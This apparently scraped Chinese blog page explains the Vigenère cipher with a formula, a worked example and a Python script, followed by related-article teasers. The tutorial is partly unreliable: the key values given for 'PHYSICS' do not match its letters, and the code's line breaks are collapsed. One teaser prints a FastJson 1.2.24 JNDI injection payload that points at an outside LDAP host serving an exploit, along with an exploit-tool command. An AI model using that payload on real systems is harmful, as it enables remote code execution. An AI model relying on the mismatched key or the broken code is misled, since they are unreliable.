经典密码学和现代密码学的结构及其主要区别(1)维吉尼亚密码—附py代码

Vigenère cipher 维吉尼亚密码

维吉尼亚密码由布莱斯·德·维吉尼亚在 16 世纪发明,是凯撒密码的一个更复杂的扩展。它是一种多字母替换密码,使用一个关键字来确定明文中不同字母的多个移位值。

与凯撒密码不同,凯撒密码对所有字母都有固定的偏移量,而维吉尼亚密码使用一个重复的关键词为消息中的每个字母创建不同的偏移量。这使其更能抵御频率分析,但如果消息的一部分已知,它仍然容易受到已知明文攻击。维吉尼亚密码曾被认为相当安全,但用现代密码分析技术可以破解。

凯撒密码和维吉尼亚密码都是早期加密方法的历史实例。虽然它们易于理解,并在密码学史上发挥了重要作用,但它们缺乏现代加密应用所需的强大安全性,不适合保护敏感的数字信息。

维吉尼亚密码的主要特点

  • 密钥。维吉尼亚密码使用一个关键字或短语作为加密和解密消息的密钥。关键字可以是任意长度,并通常重复以匹配明文的长度。
  • 多字母表密码。与凯撒密码不同,凯撒密码对所有字符使用固定的移位值,维吉尼亚密码采用多字母表的方法。这意味着消息的不同部分可能会有不同的移位量,使其更复杂且更安全。
  • 字母表。为了执行加密和解密,使用维吉尼亚表(也称为维吉尼亚方阵或正方形表)。该表由多个字母表的行和列组成,每行代表不同的凯撒密码移位。

• 加密过程

  1. 要加密一条消息,您需要将明文和关键词对齐。
  2. 对于明文中的每个字母,您都要在维吉尼亚密码表中找到由密钥中相应字母所确定的行。
  3. 然后找到与你想要加密的明文字母相对应的那一列。
  4. 行与列的交叉点即为密文字母。
  5. 对明文中的每个字母重复此过程。

• 解密过程

  1. 用维吉尼亚密码进行解密的过程与加密正好相反。
  2. 将密文与关键词对齐,就像加密时那样。
  3. 对于密文中的每个字母,根据关键字中的相应字母在维吉尼亚密码表中找到对应的行。
  4. 找到包含密文字母的那一列。
  5. 行与列的交叉点给出的就是明文字母。
  6. 对密文中的每个字母都重复此过程。

维吉尼亚密码比简单的凯撒密码更安全,因为它通过密钥引入了变化性。这使得频率分析和暴力破解攻击更具挑战性。但维吉尼亚密码的安全性仍然有限,尤其是在使用较短密钥时。较长的密钥能提高安全性。它容易受到卡西斯基检验的攻击,一种能够帮助识别密文中重复模式的技术,并有可能揭示有关密钥长度的信息。

🔹🔹🔹

假设有 m = 7 ,且关键字为 PHYSICS。对应于数值等价 K = (8, 0, 17, 11, 1, 21, 11)。

C i = ( M i + K i m o d m ) m o d 26 C_i = (M_i + K_{i \mod m}) \mod 26 Ci=(Mi+Kimodm)mod26 其中 M i M_i Mi为明文字母数值(A=0), K j K_j Kj为密钥字母数值, m m m为密钥长度。

  • m m m:密钥长度(此处 m = 7 )
  • M i M_i Mi:明文中第 i 个字符的数值( a=0, b=1,…, z=25 )
  • K j K_j Kj:密钥中第j个字符的数值( j = i mod m )
  • C i C_i Ci:密文中第i个字符的数值

在这里插入图片描述
密文结果为:uaitvntclzlohtpazwfnncpyjtdnabfzl

解密时将使用相同的关键字,但要从密文中减去它,而不是加上它。

例如:

明文 m(索引: i = 0 ):

C i C_i Ci = (12 + 8) mod 26 = 20

密文是: u

py代码示例(仅供参考):

plaintext = "mariusiulianmihailescuphysicsbook"
key = [8, 0, 17, 11, 1, 21, 11]
ciphertext = []for i, char in enumerate(plaintext):# 将明文字符转换为0-25的数值p = ord(char) - ord('a')# 获取对应的密钥k = key[i % 7]# 加密并转换回字符encrypted_char = chr((p + k) % 26 + ord('a'))ciphertext.append(encrypted_char)# 将密文字符列表转换为字符串
ciphertext_str = ''.join(ciphertext)
print(ciphertext_str)

运行结果:
在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.pswp.cn/bicheng/82097.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Ubuntu部署私有Gitlab

这个东西安装其实挺简单的,但是因为我这边迁移了数据目录和使用自己安装的 nginx 代理还是踩了几个坑,所以大家可以注意下 先看下安装 # 先安装必要组件 sudo apt update sudo apt install -y curl openssh-server ca-certificates tzdata perl# 添加gi…

【JVM 02-JVM内存结构之-程序计数器】

程序计数器 笔记记录 1. 定义2. 作用3. 特点4. 拓展理解4.1 PC寄存器存储字节码指令地址有什么用?4.2 PC寄存器为什么被设定为线程私有的?4.3 为什么执行native方法时,是undefined? 学习资料来源-b站黑马JVM& 尚硅谷JVM精讲与…

【node.js】数据库与存储

个人主页:Guiat 归属专栏:node.js 文章目录 1. 数据库概述1.1 数据库在Node.js中的作用1.2 Node.js支持的数据库类型 2. 关系型数据库集成2.1 MySQL与Node.js2.1.1 安装MySQL驱动2.1.2 建立连接2.1.3 执行CRUD操作 2.2 PostgreSQL与Node.js2.2.1 安装pg驱…

Windows10和Ubuntu24.04安装Dify

1、win10上安装docker不顺利 参考:Dify的安装_dify安装-CSDN博客等资料,Dify依赖Docker运行,在Win10上安装Docker,先安装wsl。在PowerShell(管理员)中输入: wsl --install 或显示“找不到指定文件”,或显示…

电网绝缘子及破损、闪络缺陷YOLO数据集

概述 电网绝缘子及破损、闪络缺陷YOLO数据集​​,专为输电线路缺陷检测任务设计,可帮助开发者快速构建智能化识别模型。 主要内容 ​​数据集规模​​ 训练集:2004张标注图像验证集:907张标注图像所有数据均经过严格筛选与标注&…

5.2.4 wpf中MultiBinding的使用方法

在 WPF 中,MultiBinding 允许将多个绑定(Binding)组合成一个逻辑结果,并通过一个转换器(IMultiValueConverter)处理这些值,最终影响目标属性。以下是其核心用法和示例: 核心组件: MultiBinding:定义多个绑定源的集合。 IMultiValueConverter:实现逻…

基于SpringBoot+Vue的足球青训俱乐部管理后台系统的设计与开发

项目背景与概述 随着足球青训行业的快速发展,如何高效、规范地管理学员、教练以及课程等日常工作,成为了青训俱乐部运营的重要课题。为了提升俱乐部的管理效率与用户体验,基于 Spring Boot 和 Vue.js 开发了一个 足球青训俱乐部管理后台系统…

互联网大厂Java求职面试:云原生架构与AI应用集成解决方案

互联网大厂Java求职面试:云原生架构与AI应用集成解决方案 场景一:短视频与直播平台的高并发架构设计 面试官提问 面试官(技术总监): 郑薪苦,你有处理过千万级用户同时在线的直播系统吗?如何设…

RK3588 Opencv-ffmpeg-rkmpp-rkrga编译与测试

RK3588 Opencv-ffmpeg-rkmpp-rkrga编译与测试 硬件背景说明编译环境准备1. 编译MPP(媒体处理平台)2. 编译RGA(图形加速库)3. 构建支持硬件加速的FFmpeg重要代码修改说明4. 验证安装5.FFmpeg转码测试OpenCV编译集成Python OpenCV+FFmpeg测试硬件背景说明 RK3588是瑞芯微推出…

解锁C++递归算法:从原理到实战

递归算法初相识 ** 在 C 的奇妙世界里,递归算法就像是一把神奇的钥匙,能够开启解决复杂问题的大门。那么,究竟什么是递归算法呢?简单来说,递归算法就是一种函数调用自身的编程技巧。当一个函数在其定义中直接或间接地…

vue2+webpack环境变量配置

第一步:创建3个环境变量文件 1、创建> 生产(本地)环境 .env.development # 开发环境 ENVdevelopment VUE_APP_MEDIA_BASE调后端请求的地址2、创建> 测试环境 .env.staging # 测试环境 ENVstaging VUE_APP_MEDIA_BASE调后端请求的地址…

【通用智能体】Intelligent Internet Agent (II-Agent):面向复杂网络任务的智能体系统深度解析

Intelligent Internet Agent (II-Agent):面向复杂网络任务的智能体系统深度解析 一、系统架构与设计哲学1.1 核心架构设计1.2 技术创新点1.2.1 动态任务分配机制1.2.2 网络状态感知模块 二、系统架构解析2.1 完整工作流程2.2 性能指标对比 三…

力扣第450场周赛

Q1. 数位和等于下标的最小下标 给你一个整数数组 nums 。 返回满足 nums[i] 的数位和(每一位数字相加求和)等于 i 的 最小 下标 i 。 如果不存在满足要求的下标,返回 -1 。 示例 1: 输入:nums [1,3,2] 输出&#xff1…

【氮化镓】偏置对GaN HEMT 单粒子效应的影响

2025年5月19日,西安电子科技大学的Ling Lv等人在《IEEE Transactions on Electron Devices》期刊发表了题为《Single-Event Effects of AlGaN/GaN HEMTs Under Different Biases》的文章,基于实验和TCAD仿真模拟方法,研究了单粒子效应对关断状态、半开启状态和开启状态下AlG…

湖北理元理律师事务所债务优化方案:让还款与生活平衡成为可能

在现代社会,债务问题已经成为影响许多家庭生活质量的重要因素。如何在不影响基本生活的前提下合理规划还款,是众多债务人面临的实际难题。湖北理元理律师事务所推出的债务优化服务,正是针对这一需求而设计的专业解决方案。 该所的债务优化方…

FastJson1.2.24反序列化原理

{"type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://wmqlgxtbil.yutu.eu.org:9999/Exploit", "autoCommit":true} 测试执行 DNS解析记录 利用JNDI工具进行注入 复现流程 java -jar JNDI-Injection-Explo…

基于Android的点餐系统_springboot+vue

开发语言:Java框架:springboot AndroidJDK版本:JDK1.8服务器:tomcat7数据库:mysql 5.7数据库工具:Navicat12开发软件:eclipse/myeclipse/ideaMaven包:Maven3.3.9 系统展示 APP登录…

Maven 项目介绍

一、Maven 概述​ Maven 是一个基于 Java 的项目管理和构建自动化工具,由 Apache 软件基金会开发。它采用 “约定优于配置”(Convention Over Configuration)的原则,通过标准化的项目结构和配置,极大地简化了项目的构建…

人工智能+:职业技能培训的元命题与能力重构

当“人工智能”成为各行各业的热门命题时,我们似乎跳过了一个更根本的思考:人类究竟需要怎样的AI能力?这个问题不解决,任何技术赋能都可能沦为无本之木。真正的挑战不在于如何应用AI,而在于如何定义人与AI的能力边界—…

相同,对称,平衡,右视图(二叉树)

本篇基于b站灵茶山艾府。 100. 相同的树 给你两棵二叉树的根节点 p 和 q ,编写一个函数来检验这两棵树是否相同。 如果两个树在结构上相同,并且节点具有相同的值,则认为它们是相同的。 示例 1: 输入:p [1,2,3], q…